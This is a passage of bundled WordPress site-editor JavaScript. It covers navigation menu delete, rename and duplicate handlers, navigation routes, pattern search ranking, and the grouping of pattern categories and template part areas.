        type: 'snackbar'
      });
      history.navigate('/navigation');
    } catch (error) {
      createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be deleted. */
      (0,external_wp_i18n_namespaceObject.__)(`Unable to delete Navigation Menu (%s).`), error?.message), {
        type: 'snackbar'
      });
    }
  };
  return handleDelete;
}
function useSaveNavigationMenu() {
  const {
    getEditedEntityRecord
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedEntityRecord: getEditedEntityRecordSelector
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      getEditedEntityRecord: getEditedEntityRecordSelector
    };
  }, []);
  const {
    editEntityRecord,
    __experimentalSaveSpecifiedEntityEdits: saveSpecifiedEntityEdits
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const handleSave = async (navigationMenu, edits) => {
    if (!edits) {
      return;
    }
    const postId = navigationMenu?.id;
    // Prepare for revert in case of error.
    const originalRecord = getEditedEntityRecord('postType', NAVIGATION_POST_TYPE, postId);

    // Apply the edits.
    editEntityRecord('postType', postType, postId, edits);
    const recordPropertiesToSave = Object.keys(edits);

    // Attempt to persist.
    try {
      await saveSpecifiedEntityEdits('postType', postType, postId, recordPropertiesToSave, {
        throwOnError: true
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Renamed Navigation Menu'), {
        type: 'snackbar'
      });
    } catch (error) {
      // Revert to original in case of error.
      editEntityRecord('postType', postType, postId, originalRecord);
      createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be renamed. */
      (0,external_wp_i18n_namespaceObject.__)(`Unable to rename Navigation Menu (%s).`), error?.message), {
        type: 'snackbar'
      });
    }
  };
  return handleSave;
}
function useDuplicateNavigationMenu() {
  const history = use_navigation_menu_handlers_useHistory();
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const handleDuplicate = async navigationMenu => {
    const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
    try {
      const savedRecord = await saveEntityRecord('postType', postType, {
        title: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Navigation menu title */
        (0,external_wp_i18n_namespaceObject._x)('%s (Copy)', 'navigation menu'), menuTitle),
        content: navigationMenu?.content?.raw,
        status: 'publish'
      }, {
        throwOnError: true
      });
      if (savedRecord) {
        createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Duplicated Navigation Menu'), {
          type: 'snackbar'
        });
        history.navigate(`/wp_navigation/${savedRecord.id}`);
      }
    } catch (error) {
      createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be deleted. */
      (0,external_wp_i18n_namespaceObject.__)(`Unable to duplicate Navigation Menu (%s).`), error?.message), {
        type: 'snackbar'
      });
    }
  };
  return handleDuplicate;
}
function useNavigationMenuHandlers() {
  return {
    handleDelete: useDeleteNavigationMenu(),
    handleSave: useSaveNavigationMenu(),
    handleDuplicate: useDuplicateNavigationMenu()
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */








// Copied from packages/block-library/src/navigation/edit/navigation-menu-selector.js.

function buildMenuLabel(title, id, status) {
  if (!title) {
    /* translators: %s: the index of the menu in the list of menus. */
    return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('(no title %s)'), id);
  }
  if (status === 'publish') {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title);
  }
  return (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
  (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'menu label'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), status);
}
function SidebarNavigationScreenNavigationMenus({
  backPath
}) {
  const {
    records: navigationMenus,
    isResolving: isResolvingNavigationMenus,
    hasResolved: hasResolvedNavigationMenus
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', NAVIGATION_POST_TYPE, PRELOADED_NAVIGATION_MENUS_QUERY);
  const isLoading = isResolvingNavigationMenus && !hasResolvedNavigationMenus;
  const {
    getNavigationFallbackId
  } = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store));
  const isCreatingNavigationFallback = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).isResolving('getNavigationFallbackId'), []);
  const firstNavigationMenu = navigationMenus?.[0];

  // If there is no navigation menu found
  // then trigger fallback algorithm to create one.
  if (!firstNavigationMenu && !isResolvingNavigationMenus && hasResolvedNavigationMenus &&
  // Ensure a fallback navigation is created only once
  !isCreatingNavigationFallback) {
    getNavigationFallbackId();
  }
  const {
    handleSave,
    handleDelete,
    handleDuplicate
  } = useNavigationMenuHandlers();
  const hasNavigationMenus = !!navigationMenus?.length;
  if (isLoading) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
      backPath: backPath,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
        className: "edit-site-sidebar-navigation-screen-navigation-menus__loading"
      })
    });
  }
  if (!isLoading && !hasNavigationMenus) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
      description: (0,external_wp_i18n_namespaceObject.__)('No Navigation Menus found.'),
      backPath: backPath
    });
  }

  // if single menu then render it
  if (navigationMenus?.length === 1) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SingleNavigationMenu, {
      navigationMenu: firstNavigationMenu,
      backPath: backPath,
      handleDelete: () => handleDelete(firstNavigationMenu),
      handleDuplicate: () => handleDuplicate(firstNavigationMenu),
      handleSave: edits => handleSave(firstNavigationMenu, edits)
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
    backPath: backPath,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
      className: "edit-site-sidebar-navigation-screen-navigation-menus",
      children: navigationMenus?.map(({
        id,
        title,
        status
      }, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavMenuItem, {
        postId: id,
        withChevron: true,
        icon: library_navigation,
        children: buildMenuLabel(title?.rendered, index + 1, status)
      }, id))
    })
  });
}
function SidebarNavigationScreenWrapper({
  children,
  actions,
  title,
  description,
  backPath
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
    title: title || (0,external_wp_i18n_namespaceObject.__)('Navigation'),
    actions: actions,
    description: description || (0,external_wp_i18n_namespaceObject.__)('Manage your Navigation Menus.'),
    backPath: backPath,
    content: children
  });
}
const NavMenuItem = ({
  postId,
  ...props
}) => {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
    to: `/wp_navigation/${postId}`,
    ...props
  });
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





const {
  useLocation: navigation_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileNavigationView() {
  const {
    query = {}
  } = navigation_useLocation();
  const {
    canvas = 'view'
  } = query;
  return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, {
    backPath: "/"
  });
}
const navigationRoute = {
  name: 'navigation',
  path: '/navigation',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, {
        backPath: "/"
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation-item.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





const {
  useLocation: navigation_item_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileNavigationItemView() {
  const {
    query = {}
  } = navigation_item_useLocation();
  const {
    canvas = 'view'
  } = query;
  return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, {
    backPath: "/navigation"
  });
}
const navigationItemRoute = {
  name: 'navigation-item',
  path: '/wp_navigation/:postId',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, {
        backPath: "/navigation"
      }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationItemView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  }
};

;// ./node_modules/@wordpress/icons/build-module/library/file.js
/**
 * WordPress dependencies
 */


const file = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
    d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"
  })
});
/* harmony default export */ const library_file = (file);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/category-item.js
/**
 * Internal dependencies
 */


function CategoryItem({
  count,
  icon,
  id,
  isActive,
  label,
  type
}) {
  if (!count) {
    return;
  }
  const queryArgs = [`postType=${type}`];
  if (id) {
    queryArgs.push(`categoryId=${id}`);
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
    icon: icon,
    suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      children: count
    }),
    "aria-current": isActive ? 'true' : undefined,
    to: `/pattern?${queryArgs.join('&')}`,
    children: label
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-default-pattern-categories.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


function useDefaultPatternCategories() {
  const blockPatternCategories = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _settings$__experimen;
    const {
      getSettings
    } = unlock(select(store));
    const settings = getSettings();
    return (_settings$__experimen = settings.__experimentalAdditionalBlockPatternCategories) !== null && _settings$__experimen !== void 0 ? _settings$__experimen : settings.__experimentalBlockPatternCategories;
  });
  const restBlockPatternCategories = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatternCategories());
  return [...(blockPatternCategories || []), ...(restBlockPatternCategories || [])];
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/utils.js
const filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex(item => currentItem.name === item.name);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-theme-patterns.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




function useThemePatterns() {
  const blockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getSettings$__experi;
    const {
      getSettings
    } = unlock(select(store));
    return (_getSettings$__experi = getSettings().__experimentalAdditionalBlockPatterns) !== null && _getSettings$__experi !== void 0 ? _getSettings$__experi : getSettings().__experimentalBlockPatterns;
  });
  const restBlockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatterns());
  const patterns = (0,external_wp_element_namespaceObject.useMemo)(() => [...(blockPatterns || []), ...(restBlockPatterns || [])].filter(pattern => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)).filter(filterOutDuplicatesByName).filter(pattern => pattern.inserter !== false), [blockPatterns, restBlockPatterns]);
  return patterns;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/search-items.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const {
  extractWords,
  getNormalizedSearchTerms,
  normalizeString
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * Internal dependencies
 */


// Default search helpers.
const defaultGetName = item => {
  if (item.type === PATTERN_TYPES.user) {
    return item.slug;
  }
  if (item.type === TEMPLATE_PART_POST_TYPE) {
    return '';
  }
  return item.name || '';
};
const defaultGetTitle = item => {
  if (typeof item.title === 'string') {
    return item.title;
  }
  if (item.title && item.title.rendered) {
    return item.title.rendered;
  }
  if (item.title && item.title.raw) {
    return item.title.raw;
  }
  return '';
};
const defaultGetDescription = item => {
  if (item.type === PATTERN_TYPES.user) {
    return item.excerpt.raw;
  }
  return item.description || '';
};
const defaultGetKeywords = item => item.keywords || [];
const defaultHasCategory = () => false;
const removeMatchingTerms = (unmatchedTerms, unprocessedTerms) => {
  return unmatchedTerms.filter(term => !getNormalizedSearchTerms(unprocessedTerms).some(unprocessedTerm => unprocessedTerm.includes(term)));
};

/**
 * Filters an item list given a search term.
 *
 * @param {Array}  items       Item list
 * @param {string} searchInput Search input.
 * @param {Object} config      Search Config.
 *
 * @return {Array} Filtered item list.
 */
const searchItems = (items = [], searchInput = '', config = {}) => {
  const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);

  // Filter patterns by category: the default category indicates that all patterns will be shown.
  const onlyFilterByCategory = config.categoryId !== PATTERN_DEFAULT_CATEGORY && !normalizedSearchTerms.length;
  const searchRankConfig = {
    ...config,
    onlyFilterByCategory
  };

  // If we aren't filtering on search terms, matching on category is satisfactory.
  // If we are, then we need more than a category match.
  const threshold = onlyFilterByCategory ? 0 : 1;
  const rankedItems = items.map(item => {
    return [item, getItemSearchRank(item, searchInput, searchRankConfig)];
  }).filter(([, rank]) => rank > threshold);

  // If we didn't have terms to search on, there's no point sorting.
  if (normalizedSearchTerms.length === 0) {
    return rankedItems.map(([item]) => item);
  }
  rankedItems.sort(([, rank1], [, rank2]) => rank2 - rank1);
  return rankedItems.map(([item]) => item);
};

/**
 * Get the search rank for a given item and a specific search term.
 * The better the match, the higher the rank.
 * If the rank equals 0, it should be excluded from the results.
 *
 * @param {Object} item       Item to filter.
 * @param {string} searchTerm Search term.
 * @param {Object} config     Search Config.
 *
 * @return {number} Search Rank.
 */
function getItemSearchRank(item, searchTerm, config) {
  const {
    categoryId,
    getName = defaultGetName,
    getTitle = defaultGetTitle,
    getDescription = defaultGetDescription,
    getKeywords = defaultGetKeywords,
    hasCategory = defaultHasCategory,
    onlyFilterByCategory
  } = config;
  let rank = categoryId === PATTERN_DEFAULT_CATEGORY || categoryId === TEMPLATE_PART_ALL_AREAS_CATEGORY || categoryId === PATTERN_USER_CATEGORY && item.type === PATTERN_TYPES.user || hasCategory(item, categoryId) ? 1 : 0;

  // If an item doesn't belong to the current category or we don't have
  // search terms to filter by, return the initial rank value.
  if (!rank || onlyFilterByCategory) {
    return rank;
  }
  const name = getName(item);
  const title = getTitle(item);
  const description = getDescription(item);
  const keywords = getKeywords(item);
  const normalizedSearchInput = normalizeString(searchTerm);
  const normalizedTitle = normalizeString(title);

  // Prefers exact matches
  // Then prefers if the beginning of the title matches the search term
  // name, keywords, description matches come later.
  if (normalizedSearchInput === normalizedTitle) {
    rank += 30;
  } else if (normalizedTitle.startsWith(normalizedSearchInput)) {
    rank += 20;
  } else {
    const terms = [name, title, description, ...keywords].join(' ');
    const normalizedSearchTerms = extractWords(normalizedSearchInput);
    const unmatchedTerms = removeMatchingTerms(normalizedSearchTerms, terms);
    if (unmatchedTerms.length === 0) {
      rank += 10;
    }
  }
  return rank;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-patterns.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */





const EMPTY_PATTERN_LIST = [];
const selectTemplateParts = (0,external_wp_data_namespaceObject.createSelector)((select, categoryId, search = '') => {
  var _getEntityRecords;
  const {
    getEntityRecords,
    getCurrentTheme,
    isResolving: isResolvingSelector
  } = select(external_wp_coreData_namespaceObject.store);
  const query = {
    per_page: -1
  };
  const templateParts = (_getEntityRecords = getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, query)) !== null && _getEntityRecords !== void 0 ? _getEntityRecords : EMPTY_PATTERN_LIST;

  // In the case where a custom template part area has been removed we need
  // the current list of areas to cross check against so orphaned template
  // parts can be treated as uncategorized.
  const knownAreas = getCurrentTheme()?.default_template_part_areas || [];
  const templatePartAreas = knownAreas.map(area => area.area);
  const templatePartHasCategory = (item, category) => {
    if (category !== TEMPLATE_PART_AREA_DEFAULT_CATEGORY) {
      return item.area === category;
    }
    return item.area === category || !templatePartAreas.includes(item.area);
  };
  const isResolving = isResolvingSelector('getEntityRecords', ['postType', TEMPLATE_PART_POST_TYPE, query]);
  const patterns = searchItems(templateParts, search, {
    categoryId,
    hasCategory: templatePartHasCategory
  });
  return {
    patterns,
    isResolving
  };
}, select => [select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, {
  per_page: -1
}), select(external_wp_coreData_namespaceObject.store).isResolving('getEntityRecords', ['postType', TEMPLATE_PART_POST_TYPE, {
  per_page: -1
}]), select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas]);
const selectThemePatterns = (0,external_wp_data_namespaceObject.createSelector)(select => {
  var _settings$__experimen;
  const {
    getSettings
  } = unlock(select(store));
  const {
    isResolving: isResolvingSelector
  } = select(external_wp_coreData_namespaceObject.store);
  const settings = getSettings();
  const blockPatterns = (_settings$__experimen = settings.__experimentalAdditionalBlockPatterns) !== null && _settings$__experimen !== void 0 ? _settings$__experimen : settings.__experimentalBlockPatterns;
  const restBlockPatterns = select(external_wp_coreData_namespaceObject.store).getBlockPatterns();
  const patterns = [...(blockPatterns || []), ...(restBlockPatterns || [])].filter(pattern => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)).filter(filterOutDuplicatesByName).filter(pattern => pattern.inserter !== false).map(pattern => ({
    ...pattern,
    keywords: pattern.keywords || [],
    type: PATTERN_TYPES.theme,
    blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
      __unstableSkipMigrationLogs: true
    })
  }));
  return {
    patterns,
    isResolving: isResolvingSelector('getBlockPatterns')
  };
}, select => [select(external_wp_coreData_namespaceObject.store).getBlockPatterns(), select(external_wp_coreData_namespaceObject.store).isResolving('getBlockPatterns'), unlock(select(store)).getSettings()]);
const selectPatterns = (0,external_wp_data_namespaceObject.createSelector)((select, categoryId, syncStatus, search = '') => {
  const {
    patterns: themePatterns,
    isResolving: isResolvingThemePatterns
  } = selectThemePatterns(select);
  const {
    patterns: userPatterns,
    isResolving: isResolvingUserPatterns,
    categories: userPatternCategories
  } = selectUserPatterns(select);
  let patterns = [...(themePatterns || []), ...(userPatterns || [])];
  if (syncStatus) {
    // User patterns can have their sync statuses checked directly
    // Non-user patterns are all unsynced for the time being.
    patterns = patterns.filter(pattern => {
      return pattern.type === PATTERN_TYPES.user ? (pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full) === syncStatus : syncStatus === PATTERN_SYNC_TYPES.unsynced;
    });
  }
  if (categoryId) {
    patterns = searchItems(patterns, search, {
      categoryId,
      hasCategory: (item, currentCategory) => {
        if (item.type === PATTERN_TYPES.user) {
          return item.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId)?.slug === currentCategory);
        }
        return item.categories?.includes(currentCategory);
      }
    });
  } else {
    patterns = searchItems(patterns, search, {
      hasCategory: item => {
        if (item.type === PATTERN_TYPES.user) {
          return userPatternCategories?.length && (!item.wp_pattern_category?.length || !item.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId)));
        }
        return !item.hasOwnProperty('categories');
      }
    });
  }
  return {
    patterns,
    isResolving: isResolvingThemePatterns || isResolvingUserPatterns
  };
}, select => [selectThemePatterns(select), selectUserPatterns(select)]);
const selectUserPatterns = (0,external_wp_data_namespaceObject.createSelector)((select, syncStatus, search = '') => {
  const {
    getEntityRecords,
    isResolving: isResolvingSelector,
    getUserPatternCategories
  } = select(external_wp_coreData_namespaceObject.store);
  const query = {
    per_page: -1
  };
  const patternPosts = getEntityRecords('postType', PATTERN_TYPES.user, query);
  const userPatternCategories = getUserPatternCategories();
  const categories = new Map();
  userPatternCategories.forEach(userCategory => categories.set(userCategory.id, userCategory));
  let patterns = patternPosts !== null && patternPosts !== void 0 ? patternPosts : EMPTY_PATTERN_LIST;
  const isResolving = isResolvingSelector('getEntityRecords', ['postType', PATTERN_TYPES.user, query]);
  if (syncStatus) {
    patterns = patterns.filter(pattern => pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full === syncStatus);
  }
  patterns = searchItems(patterns, search, {
    // We exit user pattern retrieval early if we aren't in the
    // catch-all category for user created patterns, so it has
    // to be in the category.
    hasCategory: () => true
  });
  return {
    patterns,
    isResolving,
    categories: userPatternCategories
  };
}, select => [select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', PATTERN_TYPES.user, {
  per_page: -1
}), select(external_wp_coreData_namespaceObject.store).isResolving('getEntityRecords', ['postType', PATTERN_TYPES.user, {
  per_page: -1
}]), select(external_wp_coreData_namespaceObject.store).getUserPatternCategories()]);
function useAugmentPatternsWithPermissions(patterns) {
  const idsAndTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _patterns$filter$map;
    return (_patterns$filter$map = patterns?.filter(record => record.type !== PATTERN_TYPES.theme).map(record => [record.type, record.id])) !== null && _patterns$filter$map !== void 0 ? _patterns$filter$map : [];
  }, [patterns]);
  const permissions = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecordPermissions
    } = unlock(select(external_wp_coreData_namespaceObject.store));
    return idsAndTypes.reduce((acc, [type, id]) => {
      acc[id] = getEntityRecordPermissions('postType', type, id);
      return acc;
    }, {});
  }, [idsAndTypes]);
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    var _patterns$map;
    return (_patterns$map = patterns?.map(record => {
      var _permissions$record$i;
      return {
        ...record,
        permissions: (_permissions$record$i = permissions?.[record.id]) !== null && _permissions$record$i !== void 0 ? _permissions$record$i : {}
      };
    })) !== null && _patterns$map !== void 0 ? _patterns$map : [];
  }, [patterns, permissions]);
}
const usePatterns = (postType, categoryId, {
  search = '',
  syncStatus
} = {}) => {
  return (0,external_wp_data_namespaceObject.useSelect)(select => {
    if (postType === TEMPLATE_PART_POST_TYPE) {
      return selectTemplateParts(select, categoryId, search);
    } else if (postType === PATTERN_TYPES.user && !!categoryId) {
      const appliedCategory = categoryId === 'uncategorized' ? '' : categoryId;
      return selectPatterns(select, appliedCategory, syncStatus, search);
    } else if (postType === PATTERN_TYPES.user) {
      return selectUserPatterns(select, syncStatus, search);
    }
    return {
      patterns: EMPTY_PATTERN_LIST,
      isResolving: false
    };
  }, [categoryId, postType, search, syncStatus]);
};
/* harmony default export */ const use_patterns = (usePatterns);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-pattern-categories.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




function usePatternCategories() {
  const defaultCategories = useDefaultPatternCategories();
  defaultCategories.push({
    name: TEMPLATE_PART_AREA_DEFAULT_CATEGORY,
    label: (0,external_wp_i18n_namespaceObject.__)('Uncategorized')
  });
  const themePatterns = useThemePatterns();
  const {
    patterns: userPatterns,
    categories: userPatternCategories
  } = use_patterns(PATTERN_TYPES.user);
  const patternCategories = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const categoryMap = {};
    const categoriesWithCounts = [];

    // Create a map for easier counting of patterns in categories.
    defaultCategories.forEach(category => {
      if (!categoryMap[category.name]) {
        categoryMap[category.name] = {
          ...category,
          count: 0
        };
      }
    });
    userPatternCategories.forEach(category => {
      if (!categoryMap[category.name]) {
        categoryMap[category.name] = {
          ...category,
          count: 0
        };
      }
    });

    // Update the category counts to reflect theme registered patterns.
    themePatterns.forEach(pattern => {
      pattern.categories?.forEach(category => {
        if (categoryMap[category]) {
          categoryMap[category].count += 1;
        }
      });
      // If the pattern has no categories, add it to uncategorized.
      if (!pattern.categories?.length) {
        categoryMap.uncategorized.count += 1;
      }
    });

    // Update the category counts to reflect user registered patterns.
    userPatterns.forEach(pattern => {
      pattern.wp_pattern_category?.forEach(catId => {
        const category = userPatternCategories.find(cat => cat.id === catId)?.name;
        if (categoryMap[category]) {
          categoryMap[category].count += 1;
        }
      });
      // If the pattern has no categories, add it to uncategorized.
      if (!pattern.wp_pattern_category?.length || !pattern.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId))) {
        categoryMap.uncategorized.count += 1;
      }
    });

    // Filter categories so we only have those containing patterns.
    [...defaultCategories, ...userPatternCategories].forEach(category => {
      if (categoryMap[category.name].count && !categoriesWithCounts.find(cat => cat.name === category.name)) {
        categoriesWithCounts.push(categoryMap[category.name]);
      }
    });
    const sortedCategories = categoriesWithCounts.sort((a, b) => a.label.localeCompare(b.label));
    sortedCategories.unshift({
      name: PATTERN_USER_CATEGORY,
      label: (0,external_wp_i18n_namespaceObject.__)('My patterns'),
      count: userPatterns.length
    });
    sortedCategories.unshift({
      name: PATTERN_DEFAULT_CATEGORY,
      label: (0,external_wp_i18n_namespaceObject.__)('All patterns'),
      description: (0,external_wp_i18n_namespaceObject.__)('A list of all patterns from all sources.'),
      count: themePatterns.length + userPatterns.length
    });
    return sortedCategories;
  }, [defaultCategories, themePatterns, userPatternCategories, userPatterns]);
  return {
    patternCategories,
    hasPatterns: !!patternCategories.length
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-template-part-areas.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const useTemplatePartsGroupedByArea = items => {
  const allItems = items || [];
  const templatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [], []);

  // Create map of template areas ensuring that default areas are displayed before
  // any custom registered template part areas.
  const knownAreas = {
    header: {},
    footer: {},
    sidebar: {},
    uncategorized: {}
  };
  templatePartAreas.forEach(templatePartArea => knownAreas[templatePartArea.area] = {
    ...templatePartArea,
    templateParts: []
  });
  const groupedByArea = allItems.reduce((accumulator, item) => {
    const key = accumulator[item.area] ? item.area : TEMPLATE_PART_AREA_DEFAULT_CATEGORY;
    accumulator[key]?.templateParts?.push(item);
    return accumulator;
  }, knownAreas);
  return groupedByArea;
};
function useTemplatePartAreas() {
  const {
    records: templateParts,
    isResolving: isLoading
  } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_PART_POST_TYPE, {
    per_page: -1
  });
  return {
    hasTemplateParts: templateParts ? !!templateParts.length : false,
    isLoading,
    templatePartAreas: useTemplatePartsGroupedByArea(templateParts)
  };
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */







const {
